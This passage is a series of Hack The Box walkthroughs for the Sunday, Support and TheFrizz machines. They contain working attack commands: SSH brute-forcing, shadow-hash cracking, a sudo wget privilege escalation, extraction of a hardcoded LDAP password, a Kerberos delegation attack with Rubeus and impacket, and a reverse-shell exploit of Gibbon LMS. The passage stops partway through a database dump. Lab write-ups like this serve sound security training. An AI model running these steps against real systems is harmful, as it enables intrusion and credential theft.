# Nmap 7.94SVN scan initiated Tue Apr 15 10:31:14 2025 as: /usr/lib/nmap/nmap -sVC -p- --open -oN initial/nmap.out -vv 10.10.10.76
Nmap scan report for 10.10.10.76
Host is up, received echo-reply ttl 254 (0.28s latency).
Scanned at 2025-04-15 10:31:15 EDT for 976s
Not shown: 35181 filtered tcp ports (no-response), 30349 closed tcp ports (reset)
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT      STATE SERVICE REASON         VERSION
79/tcp    open  finger? syn-ack ttl 59
|_finger: No one logged on\x0D
| fingerprint-strings: 
|   GenericLines: 
|     No one logged on
|   GetRequest: 
|     Login Name TTY Idle When Where
|     HTTP/1.0 ???
|   HTTPOptions: 
|     Login Name TTY Idle When Where
|     HTTP/1.0 ???
|     OPTIONS ???
|   Help: 
|     Login Name TTY Idle When Where
|     HELP ???
|   RTSPRequest: 
|     Login Name TTY Idle When Where
|     OPTIONS ???
|     RTSP/1.0 ???
|   SSLSessionReq, TerminalServerCookie: 
|_    Login Name TTY Idle When Where
111/tcp   open  rpcbind syn-ack ttl 63 2-4 (RPC #100000)
515/tcp   open  printer syn-ack ttl 59
6787/tcp  open  http    syn-ack ttl 59 Apache httpd
|_http-title: 400 Bad Request
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: Apache
22022/tcp open  ssh     syn-ack ttl 63 OpenSSH 8.4 (protocol 2.0)
| ssh-hostkey: 
|   2048 aa:00:94:32:18:60:a4:93:3b:87:a4:b6:f8:02:68:0e (RSA)
| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDsG4q9TS6eAOrX6zI+R0CMMkCTfS36QDqQW5NcF/v9vmNWyL6xSZ8x38AB2T+Kbx672RqYCtKmHcZMFs55Q3hoWQE7YgWOJhXw9agE3aIjXiWCNhmmq4T5+zjbJWbF4OLkHzNzZ2qGHbhQD9Kbw9AmyW8ZS+P8AGC5fO36AVvgyS8+5YbA05N3UDKBbQu/WlpgyLfuNpAq9279mfq/MUWWRNKGKICF/jRB3lr2BMD+BhDjTooM7ySxpq7K9dfOgdmgqFrjdE4bkxBrPsWLF41YQy3hV0L/MJQE2h+s7kONmmZJMl4lAZ8PNUqQe6sdkDhL1Ex2+yQlvbyqQZw3xhuJ
|   256 da:2a:6c:fa:6b:b1:ea:16:1d:a6:54:a1:0b:2b:ee:48 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAII/0DH8qZiCfAzZNkSaAmT39TyBUFFwjdk8vm7ze+Wwm
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port79-TCP:V=7.94SVN%I=7%D=4/15%Time=67FE7116%P=x86_64-pc-linux-gnu%r(G
SF:enericLines,12,"No\x20one\x20logged\x20on\r\n")%r(GetRequest,93,"Login\
SF:x20\x20\x20\x20\x20\x20\x20Name\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20
SF:\x20\x20\x20\x20\x20TTY\x20\x20\x20\x20\x20\x20\x20\x20\x20Idle\x20\x20
SF:\x20\x20When\x20\x20\x20\x20Where\r\n/\x20\x20\x20\x20\x20\x20\x20\x20\
SF:x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\?\?\?\r\nGET\x20\x2
SF:0\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\?
SF:\?\?\r\nHTTP/1\.0\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x
SF:20\?\?\?\r\n")%r(Help,5D,"Login\x20\x20\x20\x20\x20\x20\x20Name\x20\x20
SF:\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20TTY\x20\x20\x20\x20
SF:\x20\x20\x20\x20\x20Idle\x20\x20\x20\x20When\x20\x20\x20\x20Where\r\nHE
SF:LP\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\
SF:x20\?\?\?\r\n")%r(HTTPOptions,93,"Login\x20\x20\x20\x20\x20\x20\x20Name
SF:\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20TTY\x20\x20
SF:\x20\x20\x20\x20\x20\x20\x20Idle\x20\x20\x20\x20When\x20\x20\x20\x20Whe
SF:re\r\n/\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20
SF:\x20\x20\x20\x20\x20\?\?\?\r\nHTTP/1\.0\x20\x20\x20\x20\x20\x20\x20\x20
SF:\x20\x20\x20\x20\x20\x20\?\?\?\r\nOPTIONS\x20\x20\x20\x20\x20\x20\x20\x
SF:20\x20\x20\x20\x20\x20\x20\x20\?\?\?\r\n")%r(RTSPRequest,93,"Login\x20\
SF:x20\x20\x20\x20\x20\x20Name\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20
SF:\x20\x20\x20\x20TTY\x20\x20\x20\x20\x20\x20\x20\x20\x20Idle\x20\x20\x20
SF:\x20When\x20\x20\x20\x20Where\r\n/\x20\x20\x20\x20\x20\x20\x20\x20\x20\
SF:x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\?\?\?\r\nOPTIONS\x20\x2
SF:0\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\?\?\?\r\nRTSP/1\.
SF:0\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\?\?\?\r\n")%r
SF:(SSLSessionReq,5D,"Login\x20\x20\x20\x20\x20\x20\x20Name\x20\x20\x20\x2
SF:0\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20TTY\x20\x20\x20\x20\x20\x2
SF:0\x20\x20\x20Idle\x20\x20\x20\x20When\x20\x20\x20\x20Where\r\n\x16\x03\
SF:x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20
SF:\x20\x20\?\?\?\r\n")%r(TerminalServerCookie,5D,"Login\x20\x20\x20\x20\x
SF:20\x20\x20Name\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\
SF:x20TTY\x20\x20\x20\x20\x20\x20\x20\x20\x20Idle\x20\x20\x20\x20When\x20\
SF:x20\x20\x20Where\r\n\x03\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x2
SF:0\x20\x20\x20\x20\x20\x20\x20\x20\x20\?\?\?\r\n");

Read data files from: /usr/share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Tue Apr 15 10:47:31 2025 -- 1 IP address (1 host up) scanned in 977.04 seconds

Enumeration

Port 6787/HTTP

I’ll start my enumeration from port 6787 which is running HTTP server, so i’ll fire the fox up and visit the url

so when i see this type of login page for known services i’ll google for the default credentials, i’ve tried root:welcome1, admin:admin, root:solaris but none of them are working

Port 79/Finger

port 79 is open on target it’s running finger service, i’ll first connect to that service using telnet

telnet 10.10.10.76 79

after connecting to finger i just enter the root username and it shows the information of that user and also that user has shell using ssh on the machine

further searching reveals that we can enumerate user’s on the system using https://pentestmonkey.net/tools/user-enumeration/finger-user-enum perl script

perl finger-user-enum.pl -U /usr/share/seclists/Usernames/Names/names.txt -t 10.10.10.7
6

i found that only 3 users has the SSH shell on the machine so i’ll create a user.txt

next thing is i’ll create the password.txt with the same usernames, some common names, machine name, and some keywords like finger,solaris,oracle etc.

then i’ll run hydra to perform brute-force attack on the target machine\

hydra -l users.txt -p sunday ssh://10.10.10.76:22022

Bingo!! i got the initial access as sunny user

then i’ll ssh to machine

ssh sunny@10.10.10.76 -p 22022

Post-Enum

I’ll start Post enumeration on target machine afterr initial access as sunny, i found that there’s another user on the system named sammy, then i tried to check sudo permissions as sunny using sudo -l and i found this troll binary but it is only rabbit hole

moving for another enumeration, check all files owned by the user sunny

find / -type f -user sunny 2>/dev/null | grep -v "/proc"

check for SUID binary

find / -type f -perm -4000 2>/dev/null

no interesting application in /opt folders

then i remembered that we need the credentials to login into oracle solaris dashboard, i’ll definitely try the sunny’s creds to login to solaris dashboard

and i’m IN!!

click on sunday icon and then i found the solaris application

Version - Solaris (11.4,5.11-11.4.42.0.0.111.0)

Quick google search expose the PrivEsc exploit for Solaris 11.4 → https://www.exploit-db.com/exploits/47529

also exploring the exploit more, i found that uname -a should ouput the SunOS stalker 5.11 11.4.0.15.0 as output so i’ll quickly check this on target machine to confirm that exploit work

Just Like that <3!, i’ll grab the exploit and try to run the exploit. it’s not working

i’ll continue my enumeration in the system i found /backup directory at the root of file system

strange i found the shadow.backup file inside the folder

i’ll try to crack password using john

john hash --wordlist=/usr/share/wordlists/rockyou.txt

great i’ll su to sammy using his password

Get Shiny ‘#’

Enumeration begins again, i start by sudo -l to see if admin gives us any special permissions

i found that the user sammy can run wget as sudo on sunday, i’ll first check in the GTFOBins → https://gtfobins.github.io/gtfobins/wget/#sudo

TF=$(mktemp)
chmod +x $TF
echo -e '#!/bin/sh\n/bin/sh 1>&0' >$TF
sudo wget --use-askpass=$TF 0

Support

Kamlesh Kathiriya — Fri, 12 Jun 2026 00:00:00 GMT

Machine Name: Support
OS type: Windows
Difficulty: Easy

Port Scanning - Service & Version Enumeration

# Nmap 7.94SVN scan initiated Sat Apr 12 05:11:36 2025 as: /usr/lib/nmap/nmap -sVC -p- --open -oN initial/nmap.out -vv 10.10.11.174
Nmap scan report for 10.10.11.174
Host is up, received echo-reply ttl 127 (0.46s latency).
Scanned at 2025-04-12 05:11:37 EDT for 1094s
Not shown: 65516 filtered tcp ports (no-response)
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT      STATE SERVICE       REASON          VERSION
53/tcp    open  domain        syn-ack ttl 127 Simple DNS Plus
88/tcp    open  kerberos-sec  syn-ack ttl 127 Microsoft Windows Kerberos (server time: 2025-04-12 09:27:22Z)
135/tcp   open  msrpc         syn-ack ttl 127 Microsoft Windows RPC
139/tcp   open  netbios-ssn   syn-ack ttl 127 Microsoft Windows netbios-ssn
389/tcp   open  ldap          syn-ack ttl 127 Microsoft Windows Active Directory LDAP (Domain: support.htb0., Site: Default-First-Site-Name)
445/tcp   open  microsoft-ds? syn-ack ttl 127
464/tcp   open  kpasswd5?     syn-ack ttl 127
593/tcp   open  ncacn_http    syn-ack ttl 127 Microsoft Windows RPC over HTTP 1.0
636/tcp   open  tcpwrapped    syn-ack ttl 127
3268/tcp  open  ldap          syn-ack ttl 127 Microsoft Windows Active Directory LDAP (Domain: support.htb0., Site: Default-First-Site-Name)
3269/tcp  open  tcpwrapped    syn-ack ttl 127
5985/tcp  open  http          syn-ack ttl 127 Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
9389/tcp  open  mc-nmf        syn-ack ttl 127 .NET Message Framing
49664/tcp open  msrpc         syn-ack ttl 127 Microsoft Windows RPC
49668/tcp open  msrpc         syn-ack ttl 127 Microsoft Windows RPC
49674/tcp open  ncacn_http    syn-ack ttl 127 Microsoft Windows RPC over HTTP 1.0
49686/tcp open  msrpc         syn-ack ttl 127 Microsoft Windows RPC
49696/tcp open  msrpc         syn-ack ttl 127 Microsoft Windows RPC
49711/tcp open  msrpc         syn-ack ttl 127 Microsoft Windows RPC
Service Info: Host: DC; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
| p2p-conficker: 
|   Checking for Conficker.C or higher...
|   Check 1 (port 19493/tcp): CLEAN (Timeout)
|   Check 2 (port 12235/tcp): CLEAN (Timeout)
|   Check 3 (port 45724/udp): CLEAN (Timeout)
|   Check 4 (port 46124/udp): CLEAN (Timeout)
|_  0/4 checks are positive: Host is CLEAN or ports are blocked
| smb2-time: 
|   date: 2025-04-12T09:28:25
|_  start_date: N/A
|_clock-skew: -40s
| smb2-security-mode: 
|   3:1:1: 
|_    Message signing enabled and required

Read data files from: /usr/share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Sat Apr 12 05:29:51 2025 -- 1 IP address (1 host up) scanned in 1094.89 seconds

Enumeration

Port 135/MSRPC

let’s check the if we have access to MSRPC service using rpcclient

we can login but we don’t have permissions to run commands, not so useful! moving on next service

Port 389,636/LDAP

let’s check the ldapsearch tool to see if we can run ldap queries without credentials

ldapsearch -H ldap://10.10.11.174 -x -s base namingcontexts

-x : basic authentication

-s for search scope here base and namingcontext will only give output of the DN (Distinguished Name) which we’ll use in next command to perform full search over domain using LDAP

ldapsearch -H ldap://10.10.11.174 -x -b "DC=support,DC=htb"

it says successful bind must be completed to perform the search so we need the credentials

Port 139,445/SMB

SMB is running on the machine let’s check for the Null session and anonymous login, let’s run the smbclient with options -L and -N

smbclient -L //10.10.11.174 -N

we found non-default share support-tools also machine name support suggest we might find something interesting here

smbclient //10.10.11.174/support-tools -N

no listing access to NETLOGON and SYSVOL shares

let’s download the all of the files from support-tools share using

prompt off

mget *

download dnSpy from here → https://github.com/dnSpy/dnSpy/releases/download/v6.1.8/dnSpy-net-win64.zip

before reversing the exe let’s first try to execute it in windows cmd, launch cmd and run executable

it does requires some options (arguments) it is important to note we need to pass this arguments on the dnSpy

let’s try find command

UserInfo.exe -v find

it says -first or -last argument is required let’s provide -first and run the command

UserInfo.exe -v find -first Administrator

It didn’t connected to domain so it didn’t give us the error
password is hardcoded in the application’s code that use to query LDAP

now let’s load the UserInfo.exe to dnSpy

public LdapQuery()
		{
			string password = Protected.getPassword();
			this.entry = new DirectoryEntry("LDAP://support.htb", "support\\ldap", password);
			this.entry.AuthenticationType = AuthenticationTypes.Secure;
			this.ds = new DirectorySearcher(this.entry);
		}

using System;
using System.Text;

namespace UserInfo.Services
{
	// Token: 0x02000006 RID: 6
	internal class Protected
	{
		// Token: 0x0600000F RID: 15 RVA: 0x00002118 File Offset: 0x00000318
		public static string getPassword()
		{
			byte[] array = Convert.FromBase64String(Protected.enc_password);
			byte[] array2 = array;
			for (int i = 0; i < array.Length; i++)
			{
				array2[i] = (array[i] ^ Protected.key[i % Protected.key.Length] ^ 223);
			}
			return Encoding.Default.GetString(array2);
		}

		// Token: 0x04000005 RID: 5
		private static string enc_password = "0Nv32PTwgYjzg9/8j5TbmvPd3e7WhtWWyuPsyO76/Y+U193E";

		// Token: 0x04000006 RID: 6
		private static byte[] key = Encoding.ASCII.GetBytes("armando");
	}
}

so it contains enc_password (encrypted password) and the key also the code that decrypts the password, now we have 2 ways here to get plaintext password here

Write a C# program with above logic and print the plaintext password at the end
if you don’t know C# just like me 😂, use breakpoints feature of the dnSpy to get plaintext password

let’s use the 2nd option go to LdapQuery Class from the left pane

then rightclick on 13th line which passing the ldap query with the password

click on Add Breakpoint

now click on ▶️ start button and specify the arguments we just add in the cmd -v find -first administrator

click OK to start debugging

it will automatically stop at the Breakpoint we’ve just created

netexec smb 10.10.11.174 -u ldap -p nvEfEK16^1aM4$e7AclUf8x$tRWxPWO1%lmz

yes it is the valid user, let’s enumerate users using netexec —users option

netexec ldap 10.10.11.174 -u ldap -p 'nvEfEK16^1aM4$e7AclUf8x$tRWxPWO1%lmz' --users

let’s create a users.txt and put all users in it, what about password reuese!

nope.

let’s run bloodhoud-python as we have a valid credentials

bloodhound-python -c all -u ldap -p 'nvEfEK16^1aM4$e7AclUf8x$tRWxPWO1%lmz' -d support.htb -ns 10.10.11.174

we didn’t find anything useful from here, as we now have credentials let’s checkout the ldapsearch again

ldapsearch -H ldap://10.10.11.174 -b "DC=support,DC=htb" -D ldap@support.htb -w 'nvEfEK16^1aM4$e7AclUf8x$tRWxPWO1%lmz' '(objectClass=user)'

info field of the user support looks interesting, maybe it is the password for that user?, let’s verify it using netexec

netexec smb 10.10.11.174 -u support -p Ironside47pleasure40Watchful

let’s check if we have winrm access

netexec winrm 10.10.11.174 -u support -p Ironside47pleasure40Watchful

let’s login as support using evil-winrm

evil-winrm -i 10.10.11.174 -u support -p Ironside47pleasure40Watchful

** i can’t provide you the Bloodhound screenshots, as i’m facing issue in starting bloodhound **

analyzing the bloodhound data we found that support user has GenericAll on the computer object, so we can abuse resource-based constrained delegation

we’ll add the fake computer to domain, then we’ll act as DC to get TGT for Administrator from KDC, then we can use TGT to impersonate the Administrator user

we need three scripts/tools for this attack:

Powerview

Powermad and Rubeus.exe

let’s upload this three tools using winpeas upload feature

now import the both modules to powershell using Import-Module cmdlet

great now let’s create the new machine account under our control

New-MachineAccount -MachineAccount HackerPC -Password $(ConvertTo-SecureString 'Hacker@123!' -AsPlainText -Force)

get the SID of the Computer we’ve just created, and store it to variable

$hacksid = Get-DomainComputer attackersystem -Properties objectsid | Select -Expand objectsid

now we successfully created fake computer in the domain, now we need to configure DC to trust this computer to act as the DC (work on behalf of real DC)

*Evil-WinRM* PS C:\Users\support\Documents> $SD = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;$($hacksid))"
*Evil-WinRM* PS C:\Users\support\Documents> $SDBytes = New-Object byte[] ($SD.BinaryLength)
*Evil-WinRM* PS C:\Users\support\Documents> $SD.GetBinaryForm($SDBytes, 0)
*Evil-WinRM* PS C:\Users\support\Documents> Get-DomainComputer dc.support.htb | Set-DomainObject -Set @{'msds-allowedtoactonbehalfofotheridentity'=$SDBytes}

now we need to verify if our new ACL has been applied

*Evil-WinRM* PS C:\Users\support\Documents> **$RawBytes = Get-DomainComputer dc.support.htb -Properties 'msds-allowedtoactonbehalfofotheridentity' | select -expand msds-allowedtoactonbehalfofotheridentity**
*Evil-WinRM* PS C:\Users\support\Documents> **$Descriptor = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList $RawBytes, 0**
*Evil-WinRM* PS C:\Users\support\Documents> **$Descriptor.DiscretionaryAcl**

we can see that AceType AccessAllowed and SecurityIdentifier of Fake Computer mentioned here

next we’ll request the machine account’s NTLM hash using Rubeus.exe

.\Rubeus.exe hash /password:Hacker@123! /user:HackerPC /domain:support.htb

we need rc4_hmac hash

.\Rubeus.exe s4u /user:HackerPC$ /rc4:B346BAC70D2B764F171C75A3BE96D648 /impersonateuser:administrator /msdsspn:cifs/dc.support.htb /ptt

our ticket is exported in the current session we can check it using

.\Rebeus.exe klist

however it is not working, let’s use it from the our kali machine

first copy the encoded ticket to kali

copy marked part only and paste it to ticket.kirbi in kali and clear it

impacket-ticketConverter ticket administrator.ccache

now run following command to export KRB5CCNAME which required by the kerberos in linux to authenticate

KRB5CCNAME=administrator.ccache impacket-psexec support.htb/administrator@dc.support.htb -k -no-pass

Make sure you have added support.htb and dc.support.htb in /etc/hosts file

TheFrizz

Kamlesh Kathiriya — Fri, 12 Jun 2026 00:00:00 GMT

Machine Name: TheFrizz
OS Type: Windows
Difficulty: Easy

Port Scanning - Service & Version Enumeration

# Nmap 7.95 scan initiated Sun May  4 06:29:31 2025 as: /usr/lib/nmap/nmap -sVC -p- --open -oN initial/nmap.out -vv 10.10.11.60
Nmap scan report for 10.10.11.60
Host is up, received echo-reply ttl 127 (0.30s latency).
Scanned at 2025-05-04 06:29:32 EDT for 1306s
Not shown: 65515 filtered tcp ports (no-response)
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT      STATE SERVICE       REASON          VERSION
22/tcp    open  ssh           syn-ack ttl 127 OpenSSH for_Windows_9.5 (protocol 2.0)
53/tcp    open  domain        syn-ack ttl 127 Simple DNS Plus
80/tcp    open  http          syn-ack ttl 127 Apache httpd 2.4.58 (OpenSSL/3.1.3 PHP/8.2.12)
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-title: Did not follow redirect to http://frizzdc.frizz.htb/home/
|_http-server-header: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.2.12
88/tcp    open  kerberos-sec  syn-ack ttl 127 Microsoft Windows Kerberos (server time: 2025-05-04 17:48:55Z)
135/tcp   open  msrpc         syn-ack ttl 127 Microsoft Windows RPC
139/tcp   open  netbios-ssn   syn-ack ttl 127 Microsoft Windows netbios-ssn
389/tcp   open  ldap          syn-ack ttl 127 Microsoft Windows Active Directory LDAP (Domain: frizz.htb0., Site: Default-First-Site-Name)
445/tcp   open  microsoft-ds? syn-ack ttl 127
464/tcp   open  kpasswd5?     syn-ack ttl 127
593/tcp   open  ncacn_http    syn-ack ttl 127 Microsoft Windows RPC over HTTP 1.0
636/tcp   open  tcpwrapped    syn-ack ttl 127
3268/tcp  open  ldap          syn-ack ttl 127 Microsoft Windows Active Directory LDAP (Domain: frizz.htb0., Site: Default-First-Site-Name)
3269/tcp  open  tcpwrapped    syn-ack ttl 127
9389/tcp  open  mc-nmf        syn-ack ttl 127 .NET Message Framing
49664/tcp open  msrpc         syn-ack ttl 127 Microsoft Windows RPC
49668/tcp open  msrpc         syn-ack ttl 127 Microsoft Windows RPC
49670/tcp open  ncacn_http    syn-ack ttl 127 Microsoft Windows RPC over HTTP 1.0
62893/tcp open  msrpc         syn-ack ttl 127 Microsoft Windows RPC
62897/tcp open  msrpc         syn-ack ttl 127 Microsoft Windows RPC
62907/tcp open  msrpc         syn-ack ttl 127 Microsoft Windows RPC
Service Info: Hosts: localhost, FRIZZDC; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
| smb2-time: 
|   date: 2025-05-04T17:49:51
|_  start_date: N/A
|_clock-skew: 6h59m18s
| smb2-security-mode: 
|   3:1:1: 
|_    Message signing enabled and required
| p2p-conficker: 
|   Checking for Conficker.C or higher...
|   Check 1 (port 21203/tcp): CLEAN (Timeout)
|   Check 2 (port 26262/tcp): CLEAN (Timeout)
|   Check 3 (port 49509/udp): CLEAN (Timeout)
|   Check 4 (port 18496/udp): CLEAN (Timeout)
|_  0/4 checks are positive: Host is CLEAN or ports are blocked

Read data files from: /usr/share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Sun May  4 06:51:18 2025 -- 1 IP address (1 host up) scanned in 1307.06 seconds

Enumeration

Port 80/HTTP

i’ll start my enumeration from port 80, let’s visit the website in web browser

looks like website only allows access using hostname let’s add frizzdc.frizz.htb in /etc/hosts file

now refresh the web page

i found different content on the site

looks like base64 encoding? let’s decode it

echo V2FudCB0byBsZWFybiBoYWNraW5nIGJ1dCBkb24ndCB3YW50IHRvIGdvIHRvIGphaWw/IFlvdSdsbCBsZWFybiB0aGUgaW4ncyBhbmQgb3V0cyBvZiBTeXNjYWxscyBhbmQgWFNTIGZyb20gdGhlIHNhZmV0eSBvZiBpbnRlcm5hdGlvbmFsIHdhdGVycyBhbmQgaXJvbiBjbGFkIGNvbnRyYWN0cyBmcm9tIHlvdXIgY3VzdG9tZXJzLCByZXZpZXdlZCBieSBXYWxrZXJ2aWxsZSdzIGZpbmVzdCBhdHRvcm5leXMu | base64 -d

nothing looks interesting for us

upon clicking on the Staff Login button we are redirected to Gibbon-LMS login page

let’s see what web technology used in site using whatweb

whatweb http://frizzdc.frizz.htb/

it shows the website is using php and apache server

quick google search shows that the Gibbon-LMS is vulnerable to RCE -https://www.exploit-db.com/exploits/51903

but it is authenticated RCE we need credentials for Gibbon-LMS

clicking on any option redirect us to another page, when i looked at url i found it might be vulnerable to LFI

the q parameter looks vulnerable, after searching for Gibbon LMS v25.0.0 exploit i confirmed that it is vulnerable to LFI

https://github.com/advisories/GHSA-mrqc-wm68-8hhj

https://github.com/maddsec/CVE-2023-34598

but the catch is, that is only including files from it’s installation directory

on github i found the repo of Gibbon LMS system

https://github.com/GibbonEdu/core

which has some files that we can verify let’s first check robots.txt

i found that there’s interesting file called gibbon.sql

gibbon.sql which contains all the tables and data necessary for the operation of the software. let’s try to dump it

but nothing interesting was found, after searching bit more i found the Arbitray file read vulnerability → https://github.com/advisories/GHSA-r526-pvv3-w6p8 : CVE-2023-45878

let’s use exploit to get RCE

python3 CVE-2023-45878.py -t frizzdc.frizz.htb -c whoami

to get reverse shell we can use -s option with -i for ip and -p for port

start the reverse shell listener on port 443 and run following command

python3 CVE-2023-45878.py -t frizzdc.frizz.htb -s -i 10.10.14.17 -p 443

we got the shell on port 443

there’s no user folder on C:\Users folder.

let’s check what privileges do we have using whoami /priv

Users on the Machine

let’s check our user’s group membership

enumerating the local files on machine i found database credentials in the C:\xampp\htdocs\Gibbon-LMS\config.php file

let’s use the chisel to forward the mysql port to our kali machine

first transfer the chisel.exe to target machine and start chisel server for reverse proxy on kali

chisel server --reverse --port 5000

on windows machine

.\chisel.exe client 10.10.14.17:5000 R:3306:127.0.0.1:3306

now you can access mysql database from our kali machine

mysql -h 127.0.0.1 -u MrGibbonsDB -p

it shows the SSL error we can resolve it by --skip-ssl

mysql -h 127.0.0.1 -u MrGibbonsDB -p --skip-ssl

run show databses; command to list the databases

hmm, to use the database gibbon run use gibbon

let’s run show tables command to list the tables inside the gibbon database

MariaDB [gibbon]> show tables;
+---------------------------------------+
| Tables_in_gibbon                      |
+---------------------------------------+
| gibbonaction                          |
| gibbonactivity                        |
| gibbonactivityattendance              |
| gibbonactivityslot                    |
| gibbonactivitystaff                   |
| gibbonactivitystudent                 |
| gibbonactivitytype                    |
| gibbonadmissionsaccount               |
| gibbonadmissionsapplication           |
| gibbonalarm                           |
| gibbonalarmconfirm                    |
| gibbonalertlevel                      |
| gibbonapplicationform                 |
| gibbonapplicationformfile             |
| gibbonapplicationformlink             |
| gibbonapplicationformrelationship     |
| gibbonattendancecode                  |
| gibbonattendancelogcourseclass        |
| gibbonattendancelogformgroup          |
| gibbonattendancelogperson             |
| gibbonbehaviour                       |
| gibbonbehaviourletter                 |
| gibboncountry                         |
| gibboncourse                          |
| gibboncourseclass                     |
| gibboncourseclassmap                  |
| gibboncourseclassperson               |
| gibboncrowdassessdiscuss              |
| gibboncustomfield                     |
| gibbondataretention                   |
| gibbondaysofweek                      |
| gibbondepartment                      |
| gibbondepartmentresource              |
| gibbondepartmentstaff                 |
| gibbondiscussion                      |
| gibbondistrict                        |
| gibbonemailtemplate                   |
| gibbonexternalassessment              |
| gibbonexternalassessmentfield         |
| gibbonexternalassessmentstudent       |
| gibbonexternalassessmentstudententry  |
| gibbonfamily                          |
| gibbonfamilyadult                     |
| gibbonfamilychild                     |
| gibbonfamilyrelationship              |
| gibbonfamilyupdate                    |
| gibbonfileextension                   |
| gibbonfinancebillingschedule          |
| gibbonfinancebudget                   |
| gibbonfinancebudgetcycle              |
| gibbonfinancebudgetcycleallocation    |
| gibbonfinancebudgetperson             |
| gibbonfinanceexpense                  |
| gibbonfinanceexpenseapprover          |
| gibbonfinanceexpenselog               |
| gibbonfinancefee                      |
| gibbonfinancefeecategory              |
| gibbonfinanceinvoice                  |
| gibbonfinanceinvoicee                 |
| gibbonfinanceinvoiceeupdate           |
| gibbonfinanceinvoicefee               |
| gibbonfirstaid                        |
| gibbonfirstaidfollowup                |
| gibbonform                            |
| gibbonformfield                       |
| gibbonformgroup                       |
| gibbonformpage                        |
| gibbonformsubmission                  |
| gibbonformupload                      |
| gibbongroup                           |
| gibbongroupperson                     |
| gibbonhook                            |
| gibbonhouse                           |
| gibboni18n                            |
| gibbonin                              |
| gibboninarchive                       |
| gibboninassistant                     |
| gibbonindescriptor                    |
| gibbonininvestigation                 |
| gibbonininvestigationcontribution     |
| gibboninpersondescriptor              |
| gibboninternalassessmentcolumn        |
| gibboninternalassessmententry         |
| gibbonlanguage                        |
| gibbonlibraryitem                     |
| gibbonlibraryitemevent                |
| gibbonlibrarytype                     |
| gibbonlog                             |
| gibbonmarkbookcolumn                  |
| gibbonmarkbookentry                   |
| gibbonmarkbooktarget                  |
| gibbonmarkbookweight                  |
| gibbonmedicalcondition                |
| gibbonmessenger                       |
| gibbonmessengercannedresponse         |
| gibbonmessengerreceipt                |
| gibbonmessengertarget                 |
| gibbonmigration                       |
| gibbonmodule                          |
| gibbonnotification                    |
| gibbonnotificationevent               |
| gibbonnotificationlistener            |
| gibbonoutcome                         |
| gibbonpayment                         |
| gibbonpermission                      |
| gibbonperson                          |
| gibbonpersonaldocument                |
| gibbonpersonaldocumenttype            |
| gibbonpersonmedical                   |
| gibbonpersonmedicalcondition          |
| gibbonpersonmedicalconditionupdate    |
| gibbonpersonmedicalupdate             |
| gibbonpersonreset                     |
| gibbonpersonstatuslog                 |
| gibbonpersonupdate                    |
| gibbonplannerentry                    |
| gibbonplannerentrydiscuss             |
| gibbonplannerentryguest               |
| gibbonplannerentryhomework            |
| gibbonplannerentryoutcome             |
| gibbonplannerentrystudenthomework     |
| gibbonplannerentrystudenttracker      |
| gibbonplannerparentweeklyemailsummary |
| gibbonreport                          |
| gibbonreportarchive                   |
| gibbonreportarchiveentry              |
| gibbonreportingaccess                 |
| gibbonreportingcriteria               |
| gibbonreportingcriteriatype           |
| gibbonreportingcycle                  |
| gibbonreportingprogress               |
| gibbonreportingproof                  |
| gibbonreportingscope                  |
| gibbonreportingvalue                  |
| gibbonreportprototypesection          |
| gibbonreporttemplate                  |
| gibbonreporttemplatefont              |
| gibbonreporttemplatesection           |
| gibbonresource                        |
| gibbonresourcetag                     |
| gibbonrole                            |
| gibbonrubric                          |
| gibbonrubriccell                      |
| gibbonrubriccolumn                    |
| gibbonrubricentry                     |
| gibbonrubricrow                       |
| gibbonscale                           |
| gibbonscalegrade                      |
| gibbonschoolyear                      |
| gibbonschoolyearspecialday            |
| gibbonschoolyearterm                  |
| gibbonsession                         |
| gibbonsetting                         |
| gibbonspace                           |
| gibbonspaceperson                     |
| gibbonstaff                           |
| gibbonstaffabsence                    |
| gibbonstaffabsencedate                |
| gibbonstaffabsencetype                |
| gibbonstaffapplicationform            |
| gibbonstaffapplicationformfile        |
| gibbonstaffcontract                   |
